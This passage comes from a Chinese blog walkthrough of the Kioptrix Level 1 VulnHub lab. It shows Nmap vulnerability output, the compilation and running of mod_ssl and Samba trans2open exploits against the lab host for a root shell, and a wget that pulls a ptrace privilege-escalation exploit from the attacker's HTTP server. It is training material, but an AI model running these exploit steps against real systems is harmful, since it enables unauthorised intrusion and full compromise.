&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt;|_sslv2-drown: ERROR: Script execution failed (use -d to debug)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt;1024/tcp open kdm
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt;MAC Address: 00:0C:29:3B:F8:BB (VMware)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;|_smb-vuln-ms10-054: false
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt;| smb-vuln-cve2009-3103:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt;| VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt;| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt;| State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt;| IDs: CVE:CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt;| denial of service (system crash) via an &amp;amp; (ampersand) character in a Process ID High header field in a NEGOTIATE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt;| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt;| aka &amp;#34;SMBv2 Negotiation Vulnerability.&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt;|
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt;| Disclosure date: 2009-09-08
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt;| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt;|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt;|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt;|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt;Nmap done: 1 IP address (1 host up) scanned in 333.53 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="目录扫描"&gt;目录扫描
&lt;/h3&gt;&lt;p&gt;从Nmap扫描的结果来看，它提示以下几个文件目录，可能有洞。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123113707992" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123113707992.png"&gt;&lt;/p&gt;
&lt;p&gt;使用如下命令扫描目录&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;dirb http://192.168.139.129/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123114053886" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123114053886.png"&gt;&lt;/p&gt;
&lt;p&gt;看一圈泄露的目录后发现mod_ssl目录下似乎提示此漏洞可利用（靶机会这样提示，实战要自己猜自己挖）。且从之前的Nmap扫描结果中看出，SSL存在漏洞。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123114614001" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123114614001.png"&gt;&lt;/p&gt;
&lt;h3 id="ssl漏洞利用-80443端口"&gt;SSL漏洞利用 80/443端口
&lt;/h3&gt;&lt;p&gt;Kali终端中输入以下命令，查找可用的攻击方式。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit mod_ssl
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123115109070" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123115109070.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123115239891" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123115239891.png"&gt;&lt;/p&gt;
&lt;p&gt;根据之前Nmap扫描的版本信息选择对应的攻击方式。可用的几个方式都试一遍。下载攻击方式，如果下载文件有损坏，可以到 &lt;a class="link" href="https://www.exploit-db.com/" target="_blank" rel="noopener"
 &gt;https://www.exploit-db.com/&lt;/a&gt; 网站下载对应源码。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit -m 47080.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo apt-get install libssl-dev &lt;span class="c1"&gt;# 安装依赖环境&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;gcc -o ssl47080 47080.c -lcrypto &lt;span class="c1"&gt;# 编译源码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123123541129" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123123541129.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123123617816" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123123617816.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123123642645" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123123642645.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; ./ssl47080 &lt;span class="p"&gt;|&lt;/span&gt;grep &lt;span class="s2"&gt;&amp;#34;1.3.20&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;筛选符合 &lt;code&gt;Apache 1.3.20&lt;/code&gt;版本的工具&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123123747271" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123123747271.png"&gt;&lt;/p&gt;
&lt;p&gt;靶机系统是RedHat，所以使用&lt;code&gt;0x6a&lt;/code&gt;或&lt;code&gt;0x6b&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123124158356" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123124158356.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x6a&lt;/code&gt;测试失败，改用&lt;code&gt;0x6b&lt;/code&gt;，输入以下命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;./ssl47080 0x6b 192.168.139.129 -c &lt;span class="m"&gt;40&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123124333068" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123124333068.png"&gt;&lt;/p&gt;
&lt;h4 id="提权为root"&gt;提权为root
&lt;/h4&gt;&lt;p&gt;目前是使用apache账户登录shell，这个账户是用于apache服务的专用账户， 可以使用&lt;code&gt;ls /bin&lt;/code&gt;查看目前账户可以使用的命令，可以发现只能使用一些基本命令，权限较低，我们想要完整的shell就要root账户，就要提权。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123124804957" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123124804957.png"&gt;&lt;/p&gt;
&lt;p&gt;现在本地攻击机下面下载提权脚本。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123125536502" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123125536502.png"&gt;&lt;/p&gt;
&lt;p&gt;然后开启一个简单的http服务，提供给靶机用于下载提权脚本。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo python -m http.server &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123130859626" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123130859626.png"&gt;&lt;/p&gt;
&lt;p&gt;这个靶机好在可以使用&lt;code&gt;wget&lt;/code&gt;命令下载提权脚本。如果&lt;code&gt;wget&lt;/code&gt;用不了的情况，可以尝试用&lt;code&gt;curl&lt;/code&gt;或&lt;code&gt;ftp&lt;/code&gt;下载脚本。然后从之前47080进去的Apache账户的shell里运行以下命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget http://192.168.139.128/ptrace-kmod.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123130358737" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123130358737.png"&gt;&lt;/p&gt;
&lt;p&gt;退出，然后再次重连，自动编译，就会获得root权限。如果重连后不是root，可以多试几次，或者更换47080.c文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123130630780" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123130630780.png"&gt;&lt;/p&gt;
&lt;p&gt;另一种提权的方式：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123153739527" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123153739527.png"&gt;&lt;/p&gt;
&lt;h3 id="cve-2003-0651apache-rce"&gt;（CVE-2003-0651）Apache RCE
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/wsec/p/vulnhub0x01.html#3cve-2003-0651apache-rce" target="_blank" rel="noopener"
 &gt;https://www.cnblogs.com/wsec/p/vulnhub0x01.html#3cve-2003-0651apache-rce&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250123140948527" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123140948527.png"&gt;&lt;/p&gt;
&lt;p&gt;这个&lt;code&gt;67.c&lt;/code&gt;文件最好从网站下载，kali里下载的不全。尾号305的才是正确的文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123154559276" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123154559276.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled="" type="checkbox"&gt; 但是编译不出来。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="samba-漏洞利用139端口"&gt;Samba 漏洞利用139端口
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://medium.com/@MarkdeMoras/kioptrix-level-1-1-vulnhub-walkthrough-by-mark-de-moras-147002cc4853" target="_blank" rel="noopener"
 &gt;https://medium.com/@MarkdeMoras/kioptrix-level-1-1-vulnhub-walkthrough-by-mark-de-moras-147002cc4853&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;除了ssl漏洞，可以从之前的Nmap扫描结果发现也存在Samba漏洞。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123131630150" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123131630150.png"&gt;&lt;/p&gt;
&lt;p&gt;使用Nmap再次扫描靶机的网址。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; nmap -A -p- -T4 192.168.139.129
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123132310137" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123132310137.png"&gt;&lt;/p&gt;
&lt;p&gt;使用msf工具箱&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;msfconsole
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;search scanner/smb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;use &lt;span class="m"&gt;16&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;info
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; RHOST 192.168.139.129
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123132616193" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123132616193.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123132705798" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123132705798.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123132939427" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123132939427.png"&gt;&lt;/p&gt;
&lt;p&gt;这样就获取了samba的版本，退出msf，然后搜索samba的攻击方式，选择对应版本。下载，编译。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit samba 2.2.1a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;searchsploit -m multiple/remote/10.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;gcc -o Samba 10.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123133303208" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123133303208.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123133446833" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123133446833.png"&gt;&lt;/p&gt;
&lt;p&gt;查看使用方式&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123133547970" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123133547970.png"&gt;&lt;/p&gt;
&lt;p&gt;使用如下命令爆破进入，直接获得root权限。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;./Samba -b &lt;span class="m"&gt;0&lt;/span&gt; 192.168.139.129
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123133746810" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123133746810.png"&gt;&lt;/p&gt;
&lt;h3 id="samba缓存漏洞利用139端口"&gt;Samba缓存漏洞利用139端口
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250123134042780" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123134042780.png"&gt;&lt;/p&gt;
&lt;p&gt;搜索通用版本的samba攻击方式，发现，还有例如“call_trans2open”远程缓冲区溢出（2）漏洞利用的方式。下载编译后查看使用方式。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123134436265" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123134436265.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123134518934" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123134518934.png"&gt;&lt;/p&gt;
&lt;h3 id="rpcbind-尝试"&gt;rpcbind 尝试
&lt;/h3&gt;&lt;p&gt;漏洞扫描的结果中还有&lt;code&gt;111&lt;/code&gt;端口和&lt;code&gt;1024&lt;/code&gt;端口的rpcbind服务，搜索了有如下方法，但是尝试失败。&lt;/p&gt;
&lt;p&gt;&lt;img alt="bea38bec29f578e9fe425c03e9b8f4d" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/bea38bec29f578e9fe425c03e9b8f4d.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/KUANTECH/p/17941528" target="_blank" rel="noopener"
 &gt;https://www.cnblogs.com/KUANTECH/p/17941528&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;上面这篇文章也做过了尝试是失败的，所以rpc的漏洞就不尝试了。&lt;/p&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;p&gt;找漏洞渗透的步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Nmap 扫可能的漏洞和端口&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap -sn kali的ip/24
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nmap 192.168.139.129 -p 22,80,111,139,443,1024 -sV -sC -O --version-al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script&lt;span class="o"&gt;=&lt;/span&gt;vuln
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;dirb扫目录&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;观察可能的端口和应用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;searchsploit 和msf搜索可用的攻击载荷&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit xxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;searchsploit -m 67.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;msfconsole
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;search xxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;use 编号
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;info
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; Rhost 192.168.139.129
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;根据版本选择poc，编译，调试，打！&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day2&lt;/code&gt;获取镜像和相关软件及POC。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
